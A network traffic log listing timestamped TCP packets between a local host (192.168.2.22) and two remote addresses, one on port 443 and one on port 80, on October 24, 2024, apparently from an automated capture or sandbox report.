Oct 24, 2024 08:52:57.281924963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.281934977 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.293857098 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.293884039 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.293930054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.293937922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.293946028 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.305357933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.305382013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.305435896 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.305448055 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.305599928 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.305599928 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.319009066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.319035053 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.319086075 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.319094896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.319104910 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.319664955 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.319685936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.319735050 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.319740057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.319761038 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.328568935 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.328602076 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.328655958 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.328675985 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.328697920 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.338689089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.338711977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.338789940 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.338800907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.338828087 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.345941067 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.345966101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.346019983 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.346029997 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.346039057 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.364923000 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.364954948 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.365041971 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.365065098 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.365103960 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.365480900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.365504026 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.365542889 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.365560055 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.365581989 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.366944075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.366964102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.367006063 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.367022991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.367043018 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.391231060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.391259909 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.391354084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.391355038 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.391427040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.391808987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.391828060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.391870975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.391896009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.391921997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.397865057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.397891998 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.397948027 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.397977114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.397989988 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.414967060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.414994001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.415047884 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.415047884 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.415080070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.415098906 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.423753977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.423780918 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.423825979 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.423851967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.423877001 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.425601006 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.434926033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.434947968 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.435000896 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.435029030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.435053110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.435509920 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.435534954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.435570955 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.435589075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.435611963 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.444611073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.444632053 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.444679976 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.444701910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.444724083 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.454587936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.454613924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.454654932 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.454679966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.454701900 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.461910009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.461937904 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.461997986 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.462022066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.462044954 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.462044954 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.480849981 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.480884075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.480978012 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.481014967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.481116056 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.481251001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.481271982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.481317043 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.481317043 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.481333971 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.482772112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.482795954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.482837915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.482837915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.482853889 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.491085052 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.491106987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.491166115 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.491166115 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.491178989 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.491230011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.491615057 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:53:07.922687054 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:07.928025007 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:07.928102016 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:07.928142071 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:07.933429956 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.611896038 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.611943960 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.611958027 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.611975908 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.611989975 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.612004995 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.612016916 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.612034082 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.612047911 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.612062931 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.612144947 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.612242937 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.619548082 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.619574070 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.619590998 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.619641066 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.729125023 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729145050 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729170084 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729186058 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729201078 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729207993 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.729276896 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.729491949 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729541063 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.729564905 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729718924 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729773045 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.729784966 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729800940 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.729842901 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.729964972 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.730437040 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.730492115 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.730509043 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.730513096 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.730588913 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.730648994 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.730671883 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.730685949 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.730727911 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.731344938 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.731400967 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.731415987 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.731456995 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.731481075 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.731494904 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.731539965 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.737624884 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.737663984 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.737692118 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.737705946 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.737716913 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.737721920 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.737765074 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.738074064 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.738131046 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.846537113 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846560955 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846586943 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846601009 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846616030 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846628904 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846636057 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.846651077 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846666098 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.846678972 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846682072 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.846725941 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.846726894 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846743107 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.846784115 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.847343922 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.847407103 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.847433090 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.847448111 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.847455978 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.847461939 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.847489119 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.847975969 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848035097 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.848040104 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848054886 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848103046 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.848120928 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848135948 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848150015 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848164082 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848167896 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.848215103 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.848895073 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848953962 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.848968029 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849008083 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.849021912 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849036932 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849050999 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849066019 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849066019 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.849114895 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.849769115 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849807024 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849822998 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849864006 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.849934101 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849947929 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849961042 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849975109 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.849982023 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.850028038 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.850672007 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.850745916 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.850760937 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.850790024 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.855839014 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.855880976 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.855901957 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.855925083 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.855926991 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.855940104 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.855957985 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.855962992 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.855989933 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.856003046 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.856003046 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.856018066 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.856045961 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.963556051 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963596106 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963609934 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963624954 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963639975 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963654995 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963663101 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.963690996 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.963699102 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963721991 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.963743925 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963774920 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963794947 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.963829041 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963844061 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963865995 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.963867903 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.963916063 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.964171886 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964194059 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964209080 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964232922 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.964278936 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964292049 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964307070 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964322090 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964324951 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.964361906 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.964384079 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964700937 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964744091 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.964747906 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964761019 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964776039 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964792013 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.964936972 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.964982986 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.965018034 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965033054 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965060949 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.965116024 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965131044 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965146065 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965161085 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965178967 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.965387106 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965401888 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965416908 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965431929 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.965431929 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965451002 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.965899944 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965940952 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.965974092 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.965987921 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966031075 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.966058016 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966072083 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966087103 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966099977 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966121912 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.966264963 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966279984 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966295004 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966308117 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.966310024 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966332912 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.966789961 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966833115 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.966840982 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966855049 CEST	80	49168	198.46.178.134	192.168.2.22
Oct 24, 2024 08:53:08.966907978 CEST	49168	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:53:08.966959000 CEST	80	49168	198.46.178.134	192.168.2.22
